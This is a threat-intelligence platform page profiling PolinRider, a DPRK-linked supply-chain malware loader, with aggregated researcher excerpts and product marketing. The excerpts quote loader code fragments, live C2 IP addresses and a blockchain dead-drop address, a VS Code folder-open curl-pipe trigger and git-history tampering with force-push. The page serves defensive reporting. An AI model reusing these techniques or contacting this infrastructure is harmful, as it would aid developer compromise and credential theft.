Loading malware…
PolinRider is a DPRK-linked supply-chain malware campaign and loader family associated with the Lazarus Group and the broader Contagious Interview activity cluster. It targets software developers and software supply chains by compromising legitimate repositories, maintainer accounts, and package publishing workflows across ecosystems including npm, Go modules, Packagist, and browser-extension distribution. Rather than relying only on typosquatting, PolinRider has repeatedly been observed abusing trusted developer identities and legitimate project infrastructure to insert malicious JavaScript into configuration files, bundled package code, fake font assets, and IDE task files.
A defining characteristic of PolinRider is its multi-stage blockchain-backed dead-drop design. Initial JavaScript loaders resolve encrypted payload pointers through public TRON, Aptos, and BNB Smart Chain transaction data, decrypt the retrieved stages with embedded XOR keys, and execute them dynamically. This architecture reduces dependence on conventional hosted payload infrastructure and allows operators to rotate later-stage content without republishing the original malicious artifact. In multiple observed intrusions, the loader executed at build time, import time, or when a repository was opened in developer tooling, making traditional defenses focused only on install scripts insufficient.
Observed delivery and execution vectors include malicious pull requests, poisoned open-source repositories, compromised legitimate packages, malicious VS Code task configurations, and developer-focused lures associated with fake job-interview tradecraft. PolinRider has been hidden in files such as JavaScript build and framework configuration files, bundled production assets, and fake font files containing executable JavaScript. In some cases it also propagated through automated tampering of repositories using stolen developer credentials and scripts that rewrote Git history or backdated commits to conceal malicious changes.
PolinRider commonly serves as a loader for follow-on malware including DEV#POPPER, InvisibleFerret, BeaverTail-related components, and probable OmniStealer variants. Downstream payloads have provided remote command execution, credential theft, browser and wallet data theft, keylogging, persistence, and broader post-compromise access. Reported persistence mechanisms include modifications to developer applications and tooling such as VS Code-family products, GitHub Desktop, Discord Desktop, and npm-related components. The campaign’s operational objective is to compromise developer environments, steal credentials and tokens, clone repositories, and republish backdoored code through trusted supply-chain channels.
Victimology is centered on developers, maintainers, open-source projects, and organizations whose software pipelines can be leveraged for onward compromise. Public reporting has tied PolinRider to widespread GitHub repository compromise and to malicious artifacts published under legitimate package namespaces. The campaign is notable for blending repository compromise, package ecosystem abuse, IDE-triggered execution, and blockchain-based payload resolution into a coherent supply-chain intrusion model.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
3 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
Socket identified several indicators (including the presence of Tron, Aptos, and BNB Smart Chain transactions) which they connected to DPRK’s PolinRider campaign.
Security researchers have uncovered a campaign called PolinRider that hides malicious JavaScript loaders inside trusted code repositories, waiting for unsuspecting developers to run them.
OpenSourceMalware’s PolinRider reporting describes the same loader architecture as culminating in a DPRK BeaverTail variant and repository-propagation backdoor/infostealer behavior.
27 distinct techniques documented for this family, organized by ATT&CK tactic.
the malware still... spreads through the victims’ own GitHub accounts... Review your GitHub account for unauthorized pushes — the campaign spreads by pushing the payload back out through victim accounts.
"PolinRider Caused Dozens of npm and Go Compromises" ... #SupplyChain, #GitHub, #NPM, #InvisibleFerret, #OmniStealer, #PolinRider
It's careful work: they pulled together nine malicious packages, a 77KB remote access trojan (RAT) ... Here's a chronological look at the typosquatted packages.
Audit persistence: SSH authorized_keys , crontabs, launchd agents (macOS), systemd services (Linux), and scheduled tasks (Windows).
A Windows script rewrites git history to hide the tampering... temp_auto_push.bat still rewrites the latest commit... bypasses pre-commit hooks with --no-verify , and force-pushes to erase the evidence.
.vscode/tasks.json with a runOn: folderOpen trigger that curl-pipes a shell command the instant a victim opens the project.
Les deux versions malveillantes contiennent un implant JavaScript injecté au moment du bundling ... qui s’exécute au chargement du module (import-time)
Audit persistence: SSH authorized_keys , crontabs, launchd agents (macOS), systemd services (Linux), and scheduled tasks (Windows).
Stage 0 – Bootstrap : Obfuscation multi-couches (shuffle de caractères, table de chaînes, décompresseur, Function() dynamique)
L’implant utilise un mécanisme de résolution de payload via des transactions blockchain publiques (Tron, Aptos, BNB Smart Chain) pour récupérer du code chiffré, le déchiffrer par XOR, et l’évaluer dynamiquement.
ChainVeil's packages (tailwindcss-merge, tailwindcss-animates-kit, clsx-tailwind) ... typosquat the same narrow slice of the Tailwind and Vite tooling namespace.
Four weeks later, on July 14, they followed up with a sequel on "ViteVenom," seven typosquats targeting the Vite ecosystem.
The fallback C2 path adds persistence: if the primary eval() fails, the payload is launched as a detached node -e child process with windowsHide: true and stdio: 'ignore'
A Windows script rewrites git history to hide the tampering, making it look like a normal commit... temp_auto_push.bat still rewrites the latest commit to preserve its original timestamp... and force-pushes to erase the evidence.
the malware still... spreads through the victims’ own GitHub accounts... Review your GitHub account for unauthorized pushes — the campaign spreads by pushing the payload back out through victim accounts.
The loader still resolves its second stage from blockchain dead-drops across TRON, Aptos, and BNB Smart Chain, decrypts it with embedded XOR keys...
Try Tron first... catch (e) { // Fallback to Aptos ... } ... try { txInput = await fetchFromBSC('bsc-dataseed.binance.org'); ... } catch (e) { txInput = await fetchFromBSC('bsc-rpc.publicnode.com'); }
"Joyfill npm Packages Compromised with Blockchain C2 Loader"
Loader de 5 849 octets configurant le endpoint Socket.IO (166.88.134.62:443) ... Requête vers 23.27.13.43/$/boot avec header Sec-V: A9-0135-3
The C2 resolution chain is identical... Tron ... The result is a BSC transaction hash. BSC ... decode ... XOR decrypt with the hardcoded key and eval().
The blockchain dead drop (still live) ... Tron: Query TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP ... The result is a BSC transaction hash.
60 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
24 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A DPRK-associated malware campaign targeting developers by compromising legitimate packages, fake job interviews, poisoned code repositories, malicious VS Code tasks, and deceptive software packages to compromise developer machines and accounts, steal credentials, clone repositories, and insert backdoored code while maintaining persistent access.
Named campaign/malware used as an example of DPRK tradecraft where the malicious artifact may reside outside the npm tarball, limiting the effectiveness of publish-time tarball scanning.
A DPRK-linked supply-chain malware campaign targeting developer machines and accounts. It compromises developers through poisoned repos, typosquatted packages, fake interviews, and VS Code task abuse; steals credentials; propagates into repositories and packages; resolves second-stage payloads from blockchain infrastructure; and enables silent publication of backdoored code.
Named malware referenced as the apparent primary subject of the post about supply-chain compromises affecting npm and Go ecosystems.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.